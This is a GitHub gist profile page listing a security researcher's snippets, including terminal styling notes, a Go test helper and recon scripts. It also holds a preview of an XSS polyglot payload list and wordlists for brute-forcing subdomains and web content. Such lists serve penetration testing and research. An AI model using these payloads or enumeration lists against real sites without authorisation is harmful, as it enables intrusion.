Skip to content

Instantly share code, notes, and snippets.

View michenriksen's full-sized avatar

Michael Henriksen michenriksen

View GitHub Profile
@michenriksen
michenriksen / README.md
Created November 4, 2023 15:35
💅 Get italic text and curly underlines in macOS + Alacritty + tmux + Neovim

Italic text and other styles in Alacritty, tmux, and Neovim on macOS

This is a quick guide to get properly set up with italic text, curly underlines and other advanced styles in Alacritty, tmux, and Neovim on macOS. It assumes you're using the latest versions of all three programs.



@michenriksen
michenriksen / xss-polyglots.txt
Created October 31, 2018 14:10
XSS Polyglot payloads
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
javascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
javascript:"/*'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame */ onload=alert()//</script>
javascript:"/*`/*\"/*'/*</stYle/</titLe/</teXtarEa/</nOscript></noembed></template></script/--><ScRipt>/*<i<frame/*/ onload=alert()//</Script>
javascript:`</template>\"///"//<
@michenriksen
michenriksen / subdomains.lst
Last active December 25, 2023 12:54
Subdomain list for bruteforcing
0
01
02
03
0_
1
10
100
101
102
@michenriksen
michenriksen / helper.go
Created November 30, 2023 09:02
Helper function for stabilizing slog.Logger output during testing.
// NewSlogStabilizer returns a [slog.Handler] ReplaceAttr function that replaces
// non-deterministic attribute values with stable values.
//
// All attribute values of type [time.Time] and [time.Duration] are replaced
// with their zero values.
//
// Usage:
//
// logger := slog.New(slog.NewTextHandler(os.Stderr, &slog.HandlerOptions{
// ReplaceAttr: NewSlogStabilizer(t)
@michenriksen
michenriksen / viewsource.sh
Last active February 24, 2021 20:27
Simple function to view the source code of a web page in a terminal with syntax highlighting. Very convenient for checking out potentially malicious websites before rendering them in a browser. [Pygments](http://pygments.org/) is used for the syntax highlighting and can be installed with `sudo easy_install pygments`. Copy/Paste the function into…
function viewsource {
/usr/bin/curl --user-agent "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0" -s "$1" | /usr/local/bin/pygmentize -g -O encoding='utf-8'
}
@michenriksen
michenriksen / content_discovery_all.txt
Created December 21, 2020 18:49 — forked from jhaddix/content_discovery_all.txt
a masterlist of content discovery URLs and files (used most commonly with gobuster)
This file has been truncated, but you can view the full file.
`
~/
~
ים
___
__
_
---
extract() {
if [ -f $1 ] ; then
case $1 in
*.tar.bz2) tar xvjf $1 ;;
*.tar.gz) tar xvzf $1 ;;
*.bz2) bunzip2 $1 ;;
*.rar) unrar x $1 ;;
*.gz) gunzip $1 ;;
*.tar) tar xvf $1 ;;
*.tbz2) tar xvjf $1 ;;
@michenriksen
michenriksen / dnsdb_crawl.rb
Created April 2, 2017 11:57
Quick Ruby script for extracting domains from dnsdb.org
#!/usr/bin/env ruby
require "net/http"
require "uri"
require "cgi"
require "resolv"
require "optparse"
require "socket"
require "timeout"
@michenriksen
michenriksen / output
Created December 15, 2017 21:17
FCC Wiki edits stats
................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
TOP 10 CONTRIBUTORS:
192.104.54.21: 50 (https://en.m.wikipedia.org/wiki/Special:Contributions/192.104.54.21)
192.104.54.79: 49 (https://en.m.wikipedia.org/wiki/Special:Contributions/192.104.54.79)
192.104.54.179: 31 (https://en.m.wikipedia.org/wiki/Special:Contributions/192.104.54.179)
192.104.54.77: 23 (https://en.m.wikipedia.org/wiki/Special:Contributions/192.104.54.77)
192.104.54.166: 11 (https://en.m.wikipedia.org/wiki/Special:Contributions/192.104.54.166)
192.104.54.4: 9 (https://en.m.wikipedia.org/